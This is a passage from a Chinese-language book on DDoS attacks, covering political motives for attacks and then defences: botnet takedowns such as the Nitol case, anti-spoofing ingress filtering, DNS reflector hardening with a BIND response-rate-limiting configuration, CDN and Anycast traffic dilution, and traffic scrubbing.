利用DDoS进行政治竞争相对少见，但其方法和商业竞争并无本质不同，妨碍对手的活动和打击声誉是显而易见的选择。2012年加拿大民主新党竞选中发生的情况就被怀疑属于前者。投票遭受DDoS的影响，而且攻击时间和投票时间完全吻合。事后的调查确认超过一万台僵尸主机参与了该次攻击（更多内容可以参看1.3节）。而2009年伊朗大选期间的DDoS攻击则属于后者，为了抗议选举舞弊和对Twitter等社交网络的封锁，一些反对派成员对政府网站发动了DDoS攻击。 [11]
 为了支持这一行动，世界著名的P2P站点“海盗港”也进行了声援活动，更改了自己网站的标志，如图5-10所示，将原本的网站名称暂时从“海盗港”（The Pirate Bay）改为“波斯湾”（The Persian Bay）。
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图5-9　格鲁吉亚网络拓朴结构
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图5-10　海盗港原本的标志和修改后的标志

误区：普通人不会遭遇DDoS攻击

如果你没有自己的在线网站或服务，自然无须担心。但如果你是一个网站的经营者，哪怕收入不多，甚至是非营利性质的，以下的想法也大错特错。“网上这么多站点，更出名的多的是，黑客怎么会攻击我？经营最近刚上轨道，挣钱还没多少，也没得罪过谁，黑客应该不会选中我吧？”

其实这样想，本身就已经进入了误区。网络世界遵循的并不是“人不犯我，我不犯人”的规则，一切只为了利益。网络犯罪团伙会为了利益进行敲诈，攻击名气大的站点的确可能获得更高收益，但成本和风险同时也会增加；而规模较小的网站防护能力薄弱，更容易得手。竞争也是DDoS的重要原因之一，新进者可能攻击领先者以抢夺用户，而领先者也可能攻击新进者来消除隐患。至于恶意的报复性攻击，则完全不会考虑规模之类的因素。

总之，网站的名气和盈利状况并不会影响攻击行为本身。只要你的网站是可被攻击的，那么它就可能遭遇DDoS，普通人同样难以幸免。


5.3　小结

“如果有10%的利润，它就保证到处被使用；有20%的利润，它就活跃起来；有50%的利润，它就铤而走险；为了100%的利润，它就敢践踏一切人间法律；有300%的利润，它就敢犯任何罪行，甚至冒绞首的危险。”这句话出自托马斯·约瑟夫·登宁的《工联和罢工》，因为被马克思在《资本论》的脚注中引用而出名。使用DDoS的攻击者完全可能获得远超300%的利润，所以如果没有极其严格的惩罚措施，就无法阻止这样的行为。然而现实中，立法的速度和力度都远远达不到杜绝这一现象的目标。“上帝只帮助那些勇于自助的人”，完善自身的安全防护体系才是真正的解决之道。


5.4　参考资料

[1]　Dancho Danchev."DDoS for hire services offering to ‘take down your competitor’s web sites’ going mainstream".

[2]　Vicente Segura,Javier Lahuerta."Modeling the economic incentives of DDoS attacks:femtocell case study".

[3]　Krebs on Security."Ragebooter:‘Legit’ DDoS Service,or Fed Backdoor?".

[4]　Dancho Danchev."Pricing Scheme for a DDoS Extortion Attack".

[5]　QASSAMCYBERFIGHTERS."Phase 4,Operation Ababil".

[6]　Damballa."The IMDDOS Botnet:Discovery and Analysis".

[7]　Dancho Danchev."DDoS for hire services offering to ‘take down your competitor’s web sites’ going mainstream".

[8]　Jeffrey Carr."Inside Cyber Warfare"2nd.2011.

[9]　理查德·克拉克·《网电空间战》。

[10]　Noah Shachtman."Estonia,Google Help‘Cyberlocked’ Georgia".

[11]　SC Magazine."Iran election protesters use Twitter to recruit hackers".


第6章　DDoS攻击的治理和缓解

“正如没有一个防御战局是纯粹由防御因素组成的一样，也没有一个进攻战局是纯粹由进攻因素组成的。”


——《战争论》（第3卷），克劳塞维茨，德国


网络安全的实质是人与人之间的较量，是一场战争。正如军事理论家克劳塞维茨所述，即使在战争的防御阶段，也需要进攻因素。网络中对抗DDoS攻击同样需要这两种因素。一方面，我们希望能够阻止正在发生或者即将可能发生的DDoS攻击，减小DDoS攻击的规模，这需要我们积极地安全配置主机、网络和网络设备，消除其中的DDoS安全隐患，我们将这种对抗方法称为“治理”；另一方面，在DDoS攻击已经发生的情况下，作为被攻击的目标，通常会采用各种方式减小DDoS攻击造成的影响，从而保障其服务的可用性，我们将这种对抗方法称为“缓解”。

在本章中，我们将从治理和缓解两个方面来讨论对抗DDoS攻击的方法。在治理阶段，需要进行僵尸网络的治理、地址伪造攻击的治理和放大器（攻击反射点）的治理；而在缓解阶段，则包含攻击流量的稀释和攻击流量的清洗两部分内容。对抗DDoS攻击的整体方法和过程如图6-1所示。
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图6-1　DDoS攻击的治理和缓解


6.1　攻击的治理

正如本章开篇所说的，对DDoS攻击的治理包括僵尸网络的治理、地址伪造攻击的治理和攻击反射点（放大器）的治理。

对僵尸网络进行治理，能够从源头停止正在进行的DDoS攻击；对地址伪造攻击进行治理，能够控制和阻止未来可能发生的一部分DDoS攻击，并有利于定位攻击源头；而对攻击反射点的治理则主要在于控制和减小DDoS攻击的规模。本节会对这些治理方法分别进行介绍。


6.1.1　僵尸网络的治理

对僵尸网络进行治理，切断DDoS攻击的源头，从理论上说这是对抗DDoS攻击最为有效的方法。然而，在实际操作过程中，治理僵尸网络需要面对诸多的困难和问题。

进行僵尸网络治理的首要困难在于，我们只有能够检测到网络异常，才能够知道系统感染了僵尸程序。如果僵尸主机用于发动DDOS攻击，单位时间内产生大量的攻击流量，那么安装于网络出口的检测设备或许能提示异常，从部分主机的内存占用上也可能看出端倪。但如果这些通信流量很小，并做了加密，那么这些通信则极有可能被淹没于正常的请求中而不被发觉，而我们也就几乎不能够察觉到受了感染。

检测到感染后，一般就能提取到样本，此刻遇到的另一个困难就是需要对样本进行逆向分析，找出需要的信息。依据样本的难易程度，这有可能要花费相当长的时间。不过走到这一步，治理就可以从两方面着手。

一是根据逆向分析的结果，编写僵尸程序清除工具，分发至企业局域网的其他感染主机进行清除处理，同时将C&C服务器域名或地址以及通信包特征加入规则予以拦截。迫于威胁响应的压力，这种做法通常是优先选择。这样做的不足在于，清除掉的可能只是僵尸网络的冰山一角，整个僵尸网络仍然可以维持运营，我们的网络仍然面临被攻击的风险，如来自这个僵尸网络的DDoS攻击等。

二是接管或摧毁整个僵尸网络。这种做法往往非常困难，因为僵尸网络的分布通常不局限于一个地区、一个国家甚至一个洲，而常常分布于多个国家、多个洲，其相应的控制服务器也分布广泛。因此，这种跨区域的打击行动就需要政府间的协调合作，这往往只有有实力、影响大的跨国公司才能做到。

典型的成功案例就是微软对Nitol（见图6-2）僵尸网络的打击行动。
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图6-2　Nitol僵尸网络

微软对Nitol僵尸网络的打击行动

Nitol僵尸程序依靠嵌入盗版的Windows系统进行传播，运行成功后连接3322.org域名与服务器进行通信，主要用于DDoS攻击，自2008年以来该僵尸网络就处于活跃状态。

针对Nitol僵尸网络的行动源自微软寻找不安全供应链的研究。根据由微软提交给法院的文档，该研究开始于2011年8月。取证调查人员在中国购买20台PC，分析后，他们发现零售商正在销售隐藏嵌入该恶意软件的盗版Windows的计算机。该公司表示研究人员在黑市购买的这些PC中20%感染了恶意软件。在仔细检查之后，他们从一台预装盗版Windows XP SP3的笔记本电脑上发现了恶意程序Nitol，还有3台分别感染了Trafog、EggDrop和Malat。只有感染Nitol的计算机在不停地尝试连接一个命令控制服务器，于是微软对此展开了跟踪研究，揭开了一个庞大的僵尸网络，这一行动被称为“Operation b70”。

微软发现，Nitol能通过可移除存储媒介和网络共享传播，它的文件名叫LPK.DLL——所有应用程序都需要载入的DLL文件，因此非常便于传播。它有多个变种，变种A主要在中国流传，每个变种都硬编码一个命令控制服务器域名，感染最集中地区是广东、北京、上海和台北，主要控制命令服务器都位于中国，85.53%的病毒分析样本连接的是中国的服务器，53.33%的病毒样本连接3322.org下的子域名以获取控制命令服务器IP地址。微软点名指控3322.org域名的注册所有者以及其他不知姓名的嫌疑人，迫于法律诉讼压力，3322.org域名持有者同意与微软和中国的计算机应急响应小组合作，以阻止网络犯罪分子使用该域名。根据协议，域名持有者将把任何来自3322.org的受感染的流量引向一台由中国管理的被称为sinkhole（模拟僵尸网络的指挥和控制中心的服务器）的特殊服务器。根据微软后来发布的报告显示，自此有超过3700万的恶意连接从3322.org断开，由此给了Nitol僵尸网络灭绝性的打击。

作为网络犯罪的主要平台之一，黑客利用僵尸网络展开不同的攻击，可以导致大量机密或个人隐私泄密，也可以通过DDoS攻击使整个基础信息网络瘫痪。因此，对僵尸网络进行治理显得十分迫切而重要。


6.1.2　地址伪造攻击的治理

在当前的互联网环境中，伪造地址发起网络攻击是一件非常容易的事。这一现象给DDoS的治理和防护带来了诸多困难。

首先，伪造地址使得追查攻击源变得更加困难，而攻击者承担的风险更小，也就更肆无忌惮。

其次，伪造地址使得DDoS能够达到更大的攻击规模，尤其是DNS反射式DDoS攻击，可以将原始攻击流量放大数十倍，加剧威胁的程度。

最后，伪造地址使得防护DDoS攻击变得更困难，受害者难以使用源地址过滤的方式阻挡攻击。

很明显，减少地址伪造对DDoS的治理和防护有很大帮助，而实现这一目标在技术层面并不困难，CERT和IETF都给出了简单有效的解决方案。

1.CERT Advisory CA-1996-21

1996年9月，纽约互联网服务商Panix遭遇DDoS，攻击者使用的是SYN FLOOD。CERT对此反应非常迅速，当月就发布了名为“TCP SYN Flooding and IP Spoofing Attacks”的CA-1996-21号公告。这份公告简要但准确地描述了SYN FLOOD的攻击原理和检测方法。CERT显然认识到地址伪造带来的巨大威胁，但同时也明白在当前的网络环境中无法彻底消除它。于是，一个简单有效的缓解方法被提了出来：路由过滤。具体而言，就是互联网服务提供商在网络出入口处的路由器上，对符合以下条件的数据包进行过滤：

·从外部接口进入内部网络的数据包，但源地址属于内部网络；

·由内部网络向外发送的数据包，但是源地址不属于内部网络。

之后众多网络设备和系统厂商都支持这种类型的过滤，包括Cisco、3COM、IBM、Sun等。

2.RFC 2827

2000年5月，IETF发布了RFC 2827“Network Ingress Filtering Defeating Denial of Service Attacks which employ IP Source Address Spoofing”。该文认为，只要对下游流量中的地址欺骗流量过滤，就可以近乎完全消除此类攻击场景。RFC 2827提供了一个实例，如图6-3所示。攻击者位于204.69.207.0/24网段，属于ISP D的区域中，通过路由器“router 2”，试图攻击其他主机。如果“router 2”执行了入口流量过滤，只允许源地址在204.69.207.0/24网段内的数据包流出，反之则全部禁止，那么攻击将无法进行。

此外，RFC 2827认为，未来的网络设备应该实施远程访问服务器上的自动过滤。通常，用户通过接入服务器连入网络，并具有唯一的IP地址（动态或静态分配）。如果远程访问服务器可以在入口检查每一个数据包，那么就能确保用户发出的不是伪造源地址的数据包。已经有一些设备厂商和ISP开始实现此类功能，但由于缺乏激励和动力，更大范围的部署迟迟未能实现。
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图6-3　伪造地址攻击示意

3.Unicast Reverse Path Forwarding

Unicast Reverse Path Forwarding（Unicast RPF，单播反向路径转发）也是一种缓解地址伪造的技术。一旦开启了这种功能，路由器会对进入的数据包检查源地址和源端口是否在路由表中。如果存在，则认为该数据包是通过最优路径到达该路由器，应该正常转发，否则丢弃。具体分为5个步骤：

1）对于Input方向的数据包，检查访问控制列表ACL是否允许通过；

2）按照Unicast RPF检查是否由最优路径抵达；

3）Forwarding Information Base（FIB）查找；

4）对于Output方向，检查访问控制列表ACL是否允许通过；

5）转发数据包。

在IETF的最佳实践BCP 84中对这种方式有较详细的介绍。这份文档名为“Ingress Filtering for Multihomed Networks”。

4.分布式过滤方法

除了上述方法外，还有很多研究者提出了其他方法来减缓或杜绝地址伪造。例如有学者提出了“基于路由的分布式包过滤方法”（Route-based Distributed Packet Filtering，DPF）。 [1]
 其原理是路由器根据数据包的源地址和目的地址判断其转发路径是否经过自己。如果不经过，则丢弃该数据包。如图6-4所示，攻击者位于AS 7中，试图对AS 4的目标进行攻击，于是将攻击源地址伪装成AS 2中的成员。当攻击数据包经过AS 6与AS 7之间的边界路由器时，路由器会判断从AS2到AS4的路径，发现不会经过自己，就将数据包丢弃。

[image: ]


图6-4　分布式过滤

虽然类似的方法已广泛提出，但伪造地址攻击并未得到有效遏制，主要是因为ISP缺乏采用这些技术的动力。各国政府完善相应法规并执行监管，才是杜绝地址伪造的必由之路。


6.1.3　攻击反射点的治理

反射式DDoS攻击，尤其是DNS反射攻击，已成为当前最具破坏力的攻击形式之一。2013年3月，反垃圾邮件组织Spamhaus遭受了流量高达300Gbit/s的DDoS攻击，这是迄今为止最大规模的DDoS攻击，而采用的方法就是DNS反射攻击。

反射式DDoS攻击备受攻击者青睐，主要原因有两个。第一，通过伪造地址隐藏攻击源；第二，大多数反射攻击同时具有放大作用，可以将攻击流量放大数十倍。反射攻击包括ACK、DNS、SNMP、NTP、CHARGEN等种类，其中DNS反射攻击最为普遍。这是因为互联网中存在大量可作为反射点的DNS服务器，而且DNS反射攻击可以实现较大的反射倍数。

本节以DNS反射点为例，介绍反射点的治理方法，但请各位读者注意，NTP、SNMP等其他协议的反射点也依然需要进行有效治理，而只有绝大多数反射点都进行了有效的管理和配置，才能够减小放大攻击的威胁。

对于放大攻击来说，流量一旦经过反射点放大，占用带宽就会急剧上升，而无论采用何种防护方法，也都意味着成本或代价急剧上升。所以，针对反射点进行治理，对于减少流量型DDoS攻击具有事半功倍的效果。

治理反射点最直接有效的方法是提高DNS服务器的安全性。而大多数DNS服务器的管理员并非不想做到这一点，只是无从入手。针对不同的需要，本节介绍三种方式：第一，通过Open Resolver Project验证DNS服务器的安全性；第二，安装Response Rate Limiting模块，快速实现治理的目的；第三，参考NIST SP 800-81，全面建设安全的DNS服务器。

1.Open Resolver Project

Open Resolver Project是一个国际组织，它致力于减少DNS放大攻击造成的威胁。这个组织定期维护一份DNS服务器列表，包括了3300万台服务器，其中的2800万台存在风险。图6-5是该组织2013年10月13日的统计结果。

[image: ]


图6-5　Open Resolver Project的定期统计结果

Open Resolver Project提供查询功能（见图6-6），使用者可以查询任何网段中开放的地址解析器，查询结果包括从多个地址向其发送请求的响应结果。如果一个DNS服务器可以被从任意地址访问，并无限速地回应查询请求，那么它就可以被用作DDoS攻击的反射点。

Open Resolver Project建议DNS的维护者检查以下配置：

·限制允许访问的地址范围，以防被滥用，具体操作可以参考Team CYMRU Website [2]
 。

·采用RRL，Knot DNS和NSD已经将其作为标准选项，而BIND还需要安装一个补丁程序。

·用户端设备（Customer Premises Equipment，CPE）不应在广域网接口监听DNS数据包，包括网络和广播地址。
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图6-6　Open Resolver Project的查询界面

2.RRL

2013年7月25日，互联网系统协会（Internet Systems Consortium，ISC）宣布，为了防御利用DNS发起的反射式DDoS攻击，最新版的BIND软件增加了响应速率限制（Response Rate Limiting，RRL）模块，并声称这会是缓解DNS反射攻击的最有效方法。

响应速率限制（RRL）是对DNS协议的一种增强功能，目的是缓解DDoS放大攻击。RRL官方网站 [3]
 认为，之所以DNS服务器很容易被用于反射攻击，是由于三方面的原因：

·DNS查询通常使用UDP协议，因为这是一种不验证来源的协议，所以很容易伪造。攻击者可以将发送的请求数据包中源地址改为攻击目标的地址，这样DNS服务器会向受害者发送回复，也就是反射式DDoS攻击。

·大部分ISP不检查发自他们的数据包中源地址是否真实。这使得互联网中伪造地址盛行。

·几个字节的DNS请求数据包，就可以引发数倍甚至数十倍大小的响应。例如，查询isc.org的EDNS0数据包只有36个字节长（不包括UDP、IP和以太网头部），而触发的响应数据包长达3576个字节（不包括UDP、IP和以太网头部）。攻击者可以控制攻击引发巨量的增幅。

RRL官方网站给出了BIND服务器配置RRL的简要步骤：要启用RRL，需要在named.conf中添加一条配置语句。现在假设服务器为example.com，由它提供权威域名解析服务，并收到大量对域名testhost.example.com的查询请求，这些请求都有支持DNSSEC DNS安全扩展。

因为example.com是DNSSEC签名的，所以响应数据包会比较大。在请求日志中可以看到：




07-Jun-2013 12:27:34.102 queries: info: client 1.2.3.4#58540 (testhost.example.com): query: testhost.example.com IN A +ED (1.2.3.4)
07-Jun-2013 12:27:41.606 queries: info: client 1.2.3.4#55979 (testhost.example.com): query: testhost.example.com IN A +ED (1.2.3.4)
07-Jun-2013 12:27:59.196 queries: info: client 1.2.3.4#47516 (testhost.example.com): query: testhost.example.com IN A +ED (1.2.3.4)




从中可以看出，地址1.2.3.4在不断发送同样的请求，所以有理由怀疑这是一次针对1.2.3.4的DNS反射攻击。

如果我们并不希望限制请求回应的速率，而只想记录这一过程，可以对named.conf配置文件进行编辑，添加如下语句：




options {
    directory "/var/named";
    rate-limit {
        responses-per-second 5;
        log-only yes;
    };
};)




设置之后，可以在日志文件中看到：




07-Jun-2013 12:41:42.336 queries: info: client 1.2.3.4#53459 (testhost.example.com): query: testhost.example.com IN A +ED (1.2.3.4)
07-Jun-2013 12:41:42.336 query-errors: info: client 1.2.3.4#53459 (testhost.example.com): would rate limit slip response to 1.2.3.0/24 for testhost.example.com IN A  (3ee9836b)




如果希望正式开启RRL，那么删除“log-only yes”这一语句，然后重新加载。对于之后的请求，日志如下：




07-Jun-2013 12:44:44.868 queries: info: client 1.2.3.4#57114 (testhost.example.com): query: testhost.example.com IN A +ED (1.2.3.4)
07-Jun-2013 12:44:44.869 query-errors: info: client 1.2.3.4#57114 (testhost.example.com): rate limit drop response to 1.2.3.0/24 for testhost.example.com IN A  (3ee9836b)




通过配置RRL可以用于应对多种攻击场景，更多内容可以阅读BIND9的管理员参考手册中关于RRL的内容。

3.NIST SP 800-81

2006年5月，NIST发布了特别出版物SP 800-81第1版，名为“安全域名系统部署指南”（Secure Domain Name System(DNS)Deployment Guide）。2013年9月，第2版发布。

这份指南认为，由于DNS缺乏对系统边界的定义，以及缺乏数据验证，使得它会面临以下威胁：

·利用假冒身份欺骗DNS服务器，借以实施拒绝服务攻击。

·入侵者或虚假的DNS信息提供者可以毒化DNS的缓存，例如一个企业的DNS信息提供服务器，这将导致错误访问子域名。

·篡改DNS服务器中对历史查询的缓存，可能导致使用该DNS服务器的用户访问有害的非法资源。

·如果域名解析请求的数据违反了DNS规范的定义，就可能产生不良影响。例如增加系统的负载、保存过时的数据，甚至使系统无法提供服务。对于DNS，数据内容决定着整个系统的完整性。

对于这些威胁，SP 800-81提出了以下通用建议：

·实施适当的系统和网络安全控制，确保DNS托管环境，如操作系统和应用程序安装补丁程序、进程隔离和网络的容错性。

·对于一个企业控制范围内的DNS服务器，对DNS事务（DNS transaction）进行保护，例如域名解析数据的更新和备份。保护的方法可以参考互联网工程任务组（IETF）的事务签名（TSIG）规范，使用基于共享秘密的散列消息认证码。

·使用基于非对称加密的数字签名来保护DNS的请求/应答事务，具体内容可以参考IETF的域名系统安全扩展（DNSSEC）规范。

这指南认为，DNS安全的主要目标是数据的完整性和来源认证，以确保域名信息的真实性和传输途径中的完整性。此外，该指南还介绍了如何配置和部署DNS以防止DDoS攻击。重点包括以下几个方面：

·DNS协议和服务基础组件；

·讨论DNS主机环境的威胁、安全对象和防护方法；

·推荐的DNS请求/应答机制安全性；

·减少DNS的信息泄露；

·DNS的安全管理操作。


6.2　攻击的缓解

本章的前半部分介绍了通过治理对抗DDoS攻击的方法，大部分的治理方法需要在DDoS攻击发生之前就配置，并且需要世界范围内的网络运营商、网络公司和网络组织进行有效合作，才能达到较好的对抗效果。然而，对于世界上许多中小型的企业和组织来说，他们并没有能力进行大范围的网络治理和僵尸网络打击行动，却比大型公司和组织更可能遭受DDoS攻击。对于这些中小型企业和组织来说，难道只能处于被动挨打的位置吗？

事实上，在DDoS攻击已经发生的情况下，可以通过一些缓解技术来减少攻击对自身业务和服务的影响，从而在一定程度上保障业务正常运行。

DDoS缓解技术有时也称为DDoS防护技术，但是“缓解”更能体现这种技术的本质，这是因为通常它并不能彻底根除DDoS攻击对于目标的影响，而只能最大限度地减小。近年来，随着DDoS攻防研究不断深入，人们对于DDoS缓解的认识也在不断演进。

误区：系统优化和增加带宽能够有效缓解DDoS攻击

系统优化主要是指对被攻击系统的核心参数进行调整，例如增加TCP连接表的数量，降低TCP建立连接的超时时间等。对于小规模的DDoS攻击，系统优化的方法的确具有一定程度的缓解作用。但当攻击者成倍地增大DDoS攻击的规模和攻击流量时，这些系统优化的作用就显得微乎其微了。

增加带宽实际上属于一种退让策略，这种退让策略还包括购买冗余硬件、增添性能更好的服务器等。只要攻击者的DDoS攻击造成资源消耗不高于目前的带宽、计算等资源的承载能力，那么攻击就是无效的；而一旦DDoS攻击的资源消耗超出了目前的承载能力，则通过再次退让来使其无效化。增加带宽等退让策略从理论上讲的确能够完全解决DDoS攻击的问题，然而在实际上这种方式并不符合经济规律。我们可以从第5章的内容中了解到，事实上攻击者增大DDoS攻击规模的成本并不高，而采用退让策略缓解DDoS攻击则需要不断增加带宽、服务器等基础设施的投入，这些投入不可能无限制增加，因此退让策略也不是缓解DDoS攻击的有效方法。

误区：防火墙和入侵检测/防御系统能够缓解DDoS攻击

防火墙是最常用的安全产品，但是防火墙的设计原理中并没有考虑针对DDoS攻击的缓解。传统的防火墙是以高强度的检查作为代价来进行防护的，检查的强度越高，计算的代价越大。而DDoS攻击中的海量流量会造成防火墙性能急剧下降，不能有效地完成包转发的任务。同时，传统防火墙一般都部署在网络入口位置，虽然这在某种意义上保护了网络内部的所有资源，但是往往也成为DDoS攻击的目标。

入侵检测/防御系统是应用最广泛的攻击检测/防护工具，但在面临DDoS攻击时，入侵检测/防御系统通常也不能满足要求。入侵检测/防御系统一般是基于规则进行应用层攻击的检测，在其设计之初就是作为一种基于特征的应用层攻击检测设备。但是目前的DDoS攻击大部分采用基于合法数据包的攻击流量，因此入侵检测/防御系统无法对DDoS攻击进行基于特征的有效检测。同时，入侵检测/防御系统也面临着和防火墙同样的性能问题。

本节会对缓解DDoS攻击的技术和方法进行介绍。

缓解DDoS攻击的主要方法是对网络流量进行清洗，即设法将恶意的网络流量从全部流量中去掉，只将正常的网络流量交付该服务器。然而，随着分布式拒绝服务攻击的流量不断增大，单一的流量清洗设备和流量清洗中心已经无法处理如此大规模的网络流量了，因此，面对当今的DDoS攻击时，在进行流量清洗前还需要进行流量稀释。


6.2.1　攻击流量的稀释

正如分布式拒绝服务攻击的名字所强调的，“分布式”是其最主要的特点。在分布式拒绝服务攻击当中，攻击的来源通常分布非常广泛，经常会出现从一个国家的不同位置甚至从整个世界的不同位置同时向目标发起攻击的情况。从每一个攻击来源来看，其攻击流量可能并不很大，但是当成千上万个攻击流汇聚到被攻击目标时，全部的攻击流量就会完全占满被攻击目标的网络出口带宽，这时无论再进行什么形式的流量清洗，都已经不会有任何的效果了（见图6-7）。
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图6-7　攻击流向被攻击目标汇聚

因此，在面对超大流量的分布式拒绝服务攻击时，首先要做的就是将流量进行稀释和分散。在流量被稀释和分散以后，攻击情况就从多对一变成多对多，这样到达每个流量清洗设备或流量清洗中心的网络流量都会下降到其能够处理的范围之内，也就能够进行进一步的清洗工作了。

目前比较流行的攻击流量稀释的方法是使用内容分发网络（Content Delivery Network，CDN）或任播（Anycast）技术。

1.CDN

CDN技术的初衷是提高互联网用户对网站静态资源的访问速度，但是由于分布式多节点的特点，它也能够对分布式拒绝服务攻击的流量产生稀释的效果。

所谓CDN，就是在互联网范围内广泛设置多个节点作为代理缓存，并将用户的访问请求导向最近的缓存节点，以加快访问速度的一种技术手段。

那么，用户的访问请求是如何被导向最近的缓存节点的呢？这通常通过智能DNS来实现。在许多情况下，对于资源和服务的访问请求是以域名的形式发出的，传统的域名解析系统会将同一域名的解析请求解析成一个固定的IP地址（见图6-8），因此，整个互联网对于该域名的访问都会被导向这个IP地址。
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图6-8　传统DNS解析

智能DNS则有所不同。在智能DNS系统中，一个域名会对应一张IP地址表，当收到域名解析请求时，智能DNS会查看解析请求的来源，并给出地址表中距离请求来源最接近的IP地址，这个地址通常也就是最接近用户的CDN缓存节点的IP地址（见图6-9）。在用户收到域名解析应答时，认为该CDN节点就是他请求的域名所对应的IP地址，并向该CDN节点发起服务或资源请求。
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图6-9　智能DNS解析

CDN节点在收到用户的请求时，会在其存储的缓存内容中寻找用户请求的资源，如果找到，就直接将资源响应给用户；如果在CDN节点中找不到用户请求的资源，则CDN节点会作为代理服务器向源站请求该资源，获取资源后将结果缓存并返回给用户。对于有大量静态资源的网站，使用CDN进行代理缓存一般能够减少源站80%的访问流量。

可以看到，在使用CDN技术之后，互联网上的用户可以通过智能DNS利用CDN的节点快速获取所需要的资源和服务，同时由于CDN节点的缓存作用，能够在很大程度上减轻源站的网络流量负载（见图6-10）。
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图6-10　CDN稀释流量

在发生了分布式拒绝服务攻击时，智能DNS会将来自不同位置的攻击流量分散到对应位置的CDN节点上，这使得CDN节点成为区域性的流量吸收中心，从而达到流量稀释的效果。在流量被稀释到各个CDN节点后，就可以在每个节点处进行流量清洗，只将正常的请求交付给源站，从而达到防护源站的目的。

不过，利用智能DNS实现的CDN技术只能分散和稀释通过域名发起的分布式拒绝服务攻击的流量，如果攻击者直接通过IP而不是通过域名进行攻击，那么不会进行智能DNS解析，攻击流量也无法分散到各个CDN节点上。更好的流量稀释方法是使用Anycast技术。

2.Anycast

Anycast技术是一种网络寻址和路由方法。通过使用Anycast，一组提供特定服务的主机可以使用相同的IP地址，同时，服务访问方的请求报文将会被IP网络路由到这一组目标中拓扑结构最近的一台主机上。

网络寻址

在IP网络中，存在三种寻址方法：单播寻址、多播寻址和任播寻址（见图6-11）。

·Unicast寻址（单播寻址）

单播寻址是最常见的寻址方法，在单播寻址中，网络地址和网络节点是一对一的对应关系，每一个目的地址对应一个单独的接收节点。

·Multicast寻址（多播寻址）

在多播寻址中，网络地址和网络节点是一对多的关系，每一个目的地址对应一群接收可复制消息的节点。请求发出者的数据报文会被发送到该地址对应的全部主机上。组播寻址也可以看做是多播寻址的一种。

·Anycast寻址（任播寻址）

在任播寻址中，网络地址和网络节点也是一对多的关系，每一个目的地址对应一群接收节点，但消息只会发送给拓扑结构上最近的节点。
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图6-11　网络寻址的三种方式

Anycast通常是通过在不同的节点处同时使用BGP协议向外声明同样的目的IP地址的方式实现的。如图6-12所示，服务器A和服务器B是Anycast的两个节点，它们通过BGP协议同时向外声明其IP地址为10.0.0.1。
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图6-12　Anycast示例

当客户端位于路由器1的网络内时，它将会通过路由器1来选择路由的下一跳。而在路由器1看来，到达服务器IP地址10.0.0.1的网络拓扑如图6-13所示。显然，转发到路由器2的距离更短，因此，路由器1会将请求报文转发给路由器2而不是路由器3，从而实际上发送给了服务器A，达到发送给Anycast之中“最近”节点的目的。
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图6-13　路由器1眼中的网络拓扑结构

对无状态的服务Anycast通常用来提供高可用性保障和负载均衡，例如DNS服务。几乎全部的互联网根域名服务器都部署了Anycast。在各大洲不同位置的A、C、E、F、I、J、K、L和M根域名服务器都使用了Anycast寻址技术，以提供一种分布式的服务。同时，许多商业DNS服务提供商也部署了Anycast寻址以便提高查询性能，保障系统冗余并实现负载均衡。

Anycast通常具有高度的可靠性，它可以提供自动故障恢复。Anycast应用通过外部“心跳”来监测服务器的功能，如果服务器出现故障，就会立即撤销服务器的路由公告。

使用Anycast技术能够稀释分布式拒绝服务攻击流量。在Anycast寻址过程中，流量会被导向网络拓扑结构上最近的节点，在这个过程中，攻击者并不能对攻击流量进行操控，因此攻击流量将会被分散并稀释到最近的节点上，每一个节点上的资源消耗都会减少（见图6-14）。
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图6-14　Anycast稀释流量

当Anycast组中某一个成员或者几个成员受到攻击时，负责报文转发的路由器可以根据各个组成员的响应时间来决定报文应该转发到哪个成员上，由于受到攻击的成员没有响应，所以报文就不会被转发到那里。同时，由于Anycast的高度可靠性，即使少数节点被分布式拒绝服务攻击打垮而出现故障，其周围的客户端请求也能够被快速地引导向依然可用的服务节点，从而保证服务的高可用性（见图6-15）。
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图6-15　Anycast保障服务的高可用性


6.2.2　攻击流量的清洗

流量清洗是指在全部的网络流量中区分出正常流量和恶意流量，将恶意流量阻断和丢弃，而只将正常的流量交付给服务器。

与其他的网络安全检测和防护手段类似，流量清洗也需要考虑漏报率和误报率的问题。通常，漏报率和误报率是一对矛盾，需要通过对检测和防护规则的调整来进行平衡。

如果流量清洗的漏报率太高，就会有大量的攻击请求穿透流量清洗设备，如果无法有效地减少攻击流量，也就达不到减轻服务器压力的效果（见图6-16）。

相反，如果误报率太高，就会出现大量的正常请求在清洗过程中被中断，严重影响正常的服务和业务运行（见图6-17）。

优秀的流量清洗设备，应该能够同时将误报率和漏报率降低到可以接受的程度，这样就能够在不影响网络或业务系统正常运行的情况下，最大限度地将恶意攻击流量从全部网络流量中去除。要达到这个目的，需要同时使用多种准确而高效的清洗技术，这些技术包括：IP信誉检查、攻击特征匹配、速度检查与限制、TCP代理和验证、协议完整性验证和客户端真实性验证。
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图6-16　漏报过多则无法达到清洗效果
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图6-17　误报过多影响正常业务运行

1.IP信誉检查

IP信誉检查原本是用于识别和对抗垃圾邮件的一种技术，不过这种技术也可以用来在网络层进行流量清洗。

IP信誉机制是指为互联网上的IP地址赋予一定的信誉值，那些过去或现在经常被作为僵尸主机发送垃圾邮件或发动拒绝服务攻击的IP地址会被赋予较低的信誉值，说明这些IP地址更有可能成为网络攻击的来源。

当发生分布式拒绝服务攻击时，流量清洗设备会对通过的网络流量进行IP信誉检查，在其内部的IP地址信誉库中查找每一个数据包来源的信誉值，并会优先丢弃信誉值低的IP地址所发来的数据包或建立的会话连接，以此保证信誉高的IP地址与服务器的正常通信。

IP信誉检查的极端情况就是IP黑名单机制，即如果数据包的来源存在于黑名单之中，则不进行任何处理，直接丢弃该数据包。这种方式一般会造成较多的误报，影响正常服务的运行。

2.攻击特征匹配

在大多数情况下，发动分布式拒绝服务攻击需要借助攻击工具。为了提高发送请求的效率，攻击工具发出的数据包通常是由编写者伪造并固化到工具当中的，而不是在交互过程中产生的，因此一种攻击工具所发出的数据包载荷会具有一些特征。

流量清洗设备可以将这些数据包载荷中的特征作为指纹，来识别工具发出的攻击流量。指纹识别可以分为静态指纹识别和动态指纹识别两种。静态指纹识别是指预先将多种攻击工具的指纹特征保存在流量清洗设备内部，设备将经过的网络数据包与内部的特征库进行比对，直接丢弃符合特征的数据包；动态指纹识别则需要清洗设备对流过的网络数据包进行学习，在学习到若干个数据包的载荷部分之后，将其指纹特征记录下来，后续命中这些指纹特征的数据包会被丢弃，而长期不被命中的指纹特征会逐渐老化直至消失。

3.速度检查与限制

